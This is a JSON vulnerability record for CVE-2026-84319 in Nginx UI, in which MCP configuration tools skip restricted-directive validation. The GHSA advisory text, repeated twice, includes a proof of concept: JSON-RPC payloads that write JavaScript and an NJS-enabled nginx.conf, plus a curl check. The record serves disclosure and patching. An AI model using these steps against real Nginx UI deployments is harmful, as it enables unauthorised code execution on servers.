{"id":"CVE-2026-84319","aliases":["EUVD-2026-97905","GHSA-5r62-gj48-897x","GO-2026-6774"],"status":"published","title":"Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context","description":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. This allows the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This issue is fixed in version 2.4.1.","severity":{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.0028,"percentile":0.20777,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-693"],"published":"2026-10-12T21:03:36Z","modified":"2026-10-28T02:30:49Z","fixes":[{"ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","fixed_in":["1.9.10-0.20260703131214-23d1934099b0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.10-0.20260703131214-23d1934099b0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.9.10-0.20260703131214-23d1934099b0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.9.10-0.20260703131214-23d1934099b0"}]}]}],"products":[{"vendor":"0xjacky","product":"nginx-ui"}],"references":[{"url":"https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-5r62-gj48-897x","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84319","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-5r62-gj48-897x"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/84xxx/CVE-2026-84319.json","tags":["advisory"]},{"url":"https://github.com/0xJacky/nginx-ui","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-84319","title":"Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context","description":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. This allows the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This issue is fixed in version 2.4.1.","status":"published","published":"2026-10-12T21:03:36.112Z","modified":"2026-10-13T20:23:50.083Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T14:20:08.391556Z"}],"euvd":[{"id":"EUVD-2026-97905","description":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. This allows the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This issue is fixed in version 2.4.1.","status":"published","published":"2026-10-12T21:03:36Z","modified":"2026-10-13T20:23:50Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T17:27:18.393051Z"}],"ghsa":[{"id":"GHSA-5r62-gj48-897x","title":"Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context","description":"## Summary\n\nThe regular HTTP configuration API rejects restricted Nginx directives such as `load_module`, `js_import`, and `js_content`.\n\nHowever, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load `ngx_http_js_module.so`, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context.\n\nThis is authenticated and is not OS command execution by itself.\n\n## Affected component\n\n- `/mcp`\n- `/mcp_message`\n- MCP tool: `nginx_config_add`\n- Nginx configuration validation\n\n## Impact\n\nA secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context.\n\nThis may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling.\n\n## Minimal PoC\n\n### Preconditions\n\n- Attacker has a secondary authenticated Nginx UI account.\n- MCP is enabled.\n- Nginx has NJS available:\n\n```bash\nfind / -name \"ngx_http_js_module.so\" 2\u003e/dev/null\n```\n\nObserved in the lab:\n\n```text\n/usr/lib/nginx/modules/ngx_http_js_module.so\n```\n\n### 1. HTTP API blocks the restricted config\n\nRequest:\n\n```http\nPOST /api/configs\nAuthorization: \u003cSECONDARY_USER_JWT\u003e\nContent-Type: application/json\n```\n\nBody:\n\n```json\n{\n \"name\": \"nginx.conf\",\n \"base_dir\": \"\",\n \"overwrite\": true,\n \"sync_node_ids\": [],\n \"content\": \"load_module modules/ngx_http_js_module.so;\\n\\nuser nginx;\\nworker_processes auto;\\n\\nevents { worker_connections 1024; }\\n\\nhttp {\\n js_import poc from /etc/nginx/poc.js;\\n server {\\n listen 127.0.0.1:18249;\\n location /__poc { js_content poc.handler; }\\n }\\n}\\n\"\n}\n```\n\nObserved result:\n\n```text\nRejected because the content contains restricted directives such as load_module/js_import/js_content.\n```\n\n### 2. MCP writes the JavaScript file\n\nOpen an MCP session and call `tools/call` with:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"nginx_config_add\",\n \"arguments\": {\n \"name\": \"poc.js\",\n \"base_dir\": \"\",\n \"overwrite\": true,\n \"sync_node_ids\": [],\n \"content\": \"function handler(r) { r.return(200, \\\"MCP_NJS_MARKER\\\\n\\\"); }\\nexport default { handler };\\n\"\n }\n }\n}\n```\n\n### 3. MCP writes the NJS-enabled nginx.conf\n\nCall `tools/call` again:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"nginx_config_add\",\n \"arguments\": {\n \"name\": \"nginx.conf\",\n \"base_dir\": \"\",\n \"overwrite\": true,\n \"sync_node_ids\": [],\n \"content\": \"load_module modules/ngx_http_js_module.so;\\n\\nuser nginx;\\nworker_processes auto;\\n\\nerror_log /var/log/nginx/error.log notice;\\npid /run/nginx.pid;\\n\\nevents { worker_connections 1024; }\\n\\nhttp {\\n default_type application/octet-stream;\\n js_import poc from /etc/nginx/poc.js;\\n server {\\n listen 127.0.0.1:18249;\\n location /__poc { js_content poc.handler; }\\n }\\n}\\n\"\n }\n }\n}\n```\n\n### 4. Verify NJS execution\n\nInside the Nginx UI container:\n\n```bash\ncurl -i http://127.0.0.1:18249/__poc\n```\n\nObserved response:\n\n```http\nHTTP/1.1 200 OK\n\nMCP_NJS_MARKER\n```\n\nThis confirms that content rejected by the HTTP API can be applied through MCP and executed as NJS in the Nginx worker context.\n\n## Expected behavior\n\nMCP configuration tools should enforce the same restricted directive validation as the HTTP API.\n\n## Suggested fix\n\nApply `ValidateConfigFile(path, content)` before MCP configuration writes and ensure HTTP API and MCP share the same validation tests for restricted directives such as:\n\n- `load_module`\n- `js_import`\n- `js_content`\n- `js_set`\n- `perl_set`\n- `user root`","status":"published","published":"2026-10-15T20:10:44Z","modified":"2026-10-15T20:10:44Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H","level":"high"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T14:41:32.483482Z"}],"nvd":[{"id":"CVE-2026-84319","description":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. This allows the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This issue is fixed in version 2.4.1.","status":"published","published":"2026-10-12T21:17:22.517Z","modified":"2026-10-13T21:19:11.433Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T14:12:56.72789Z"}],"osv":[{"id":"CVE-2026-84319","title":"Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context","description":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. This allows the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This issue is fixed in version 2.4.1.","status":"published","published":"2026-10-12T21:03:36.112Z","modified":"2026-10-28T02:30:49.907998063Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H","level":"high"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T15:45:18.482949Z"},{"id":"GHSA-5r62-gj48-897x","title":"Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context","description":"## Summary\n\nThe regular HTTP configuration API rejects restricted Nginx directives such as `load_module`, `js_import`, and `js_content`.\n\nHowever, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load `ngx_http_js_module.so`, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context.\n\nThis is authenticated and is not OS command execution by itself.\n\n## Affected component\n\n- `/mcp`\n- `/mcp_message`\n- MCP tool: `nginx_config_add`\n- Nginx configuration validation\n\n## Impact\n\nA secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context.\n\nThis may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling.\n\n## Minimal PoC\n\n### Preconditions\n\n- Attacker has a secondary authenticated Nginx UI account.\n- MCP is enabled.\n- Nginx has NJS available:\n\n```bash\nfind / -name \"ngx_http_js_module.so\" 2\u003e/dev/null\n```\n\nObserved in the lab:\n\n```text\n/usr/lib/nginx/modules/ngx_http_js_module.so\n```\n\n### 1. HTTP API blocks the restricted config\n\nRequest:\n\n```http\nPOST /api/configs\nAuthorization: \u003cSECONDARY_USER_JWT\u003e\nContent-Type: application/json\n```\n\nBody:\n\n```json\n{\n \"name\": \"nginx.conf\",\n \"base_dir\": \"\",\n \"overwrite\": true,\n \"sync_node_ids\": [],\n \"content\": \"load_module modules/ngx_http_js_module.so;\\n\\nuser nginx;\\nworker_processes auto;\\n\\nevents { worker_connections 1024; }\\n\\nhttp {\\n js_import poc from /etc/nginx/poc.js;\\n server {\\n listen 127.0.0.1:18249;\\n location /__poc { js_content poc.handler; }\\n }\\n}\\n\"\n}\n```\n\nObserved result:\n\n```text\nRejected because the content contains restricted directives such as load_module/js_import/js_content.\n```\n\n### 2. MCP writes the JavaScript file\n\nOpen an MCP session and call `tools/call` with:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"nginx_config_add\",\n \"arguments\": {\n \"name\": \"poc.js\",\n \"base_dir\": \"\",\n \"overwrite\": true,\n \"sync_node_ids\": [],\n \"content\": \"function handler(r) { r.return(200, \\\"MCP_NJS_MARKER\\\\n\\\"); }\\nexport default { handler };\\n\"\n }\n }\n}\n```\n\n### 3. MCP writes the NJS-enabled nginx.conf\n\nCall `tools/call` again:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"nginx_config_add\",\n \"arguments\": {\n \"name\": \"nginx.conf\",\n \"base_dir\": \"\",\n \"overwrite\": true,\n \"sync_node_ids\": [],\n \"content\": \"load_module modules/ngx_http_js_module.so;\\n\\nuser nginx;\\nworker_processes auto;\\n\\nerror_log /var/log/nginx/error.log notice;\\npid /run/nginx.pid;\\n\\nevents { worker_connections 1024; }\\n\\nhttp {\\n default_type application/octet-stream;\\n js_import poc from /etc/nginx/poc.js;\\n server {\\n listen 127.0.0.1:18249;\\n location /__poc { js_content poc.handler; }\\n }\\n}\\n\"\n }\n }\n}\n```\n\n### 4. Verify NJS execution\n\nInside the Nginx UI container:\n\n```bash\ncurl -i http://127.0.0.1:18249/__poc\n```\n\nObserved response:\n\n```http\nHTTP/1.1 200 OK\n\nMCP_NJS_MARKER\n```\n\nThis confirms that content rejected by the HTTP API can be applied through MCP and executed as NJS in the Nginx worker context.\n\n## Expected behavior\n\nMCP configuration tools should enforce the same restricted directive validation as the HTTP API.\n\n## Suggested fix\n\nApply `ValidateConfigFile(path, content)` before MCP configuration writes and ensure HTTP API and MCP share the same validation tests for restricted directives such as:\n\n- `load_module`\n- `js_import`\n- `js_content`\n- `js_set`\n- `perl_set`\n- `user root`","status":"published","published":"2026-10-15T20:10:44Z","modified":"2026-10-19T21:41:02.802986785Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H","level":"high"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T15:46:38.553953Z"},{"id":"GO-2026-6774","title":"Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context in github.com/0xJacky/Nginx-UI","description":"Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context in github.com/0xJacky/Nginx-UI","status":"published","published":"2026-10-19T21:08:35Z","modified":"2026-10-19T21:31:51.315770196Z","updated_at":"2026-11-02T15:47:03.11707Z"}]}}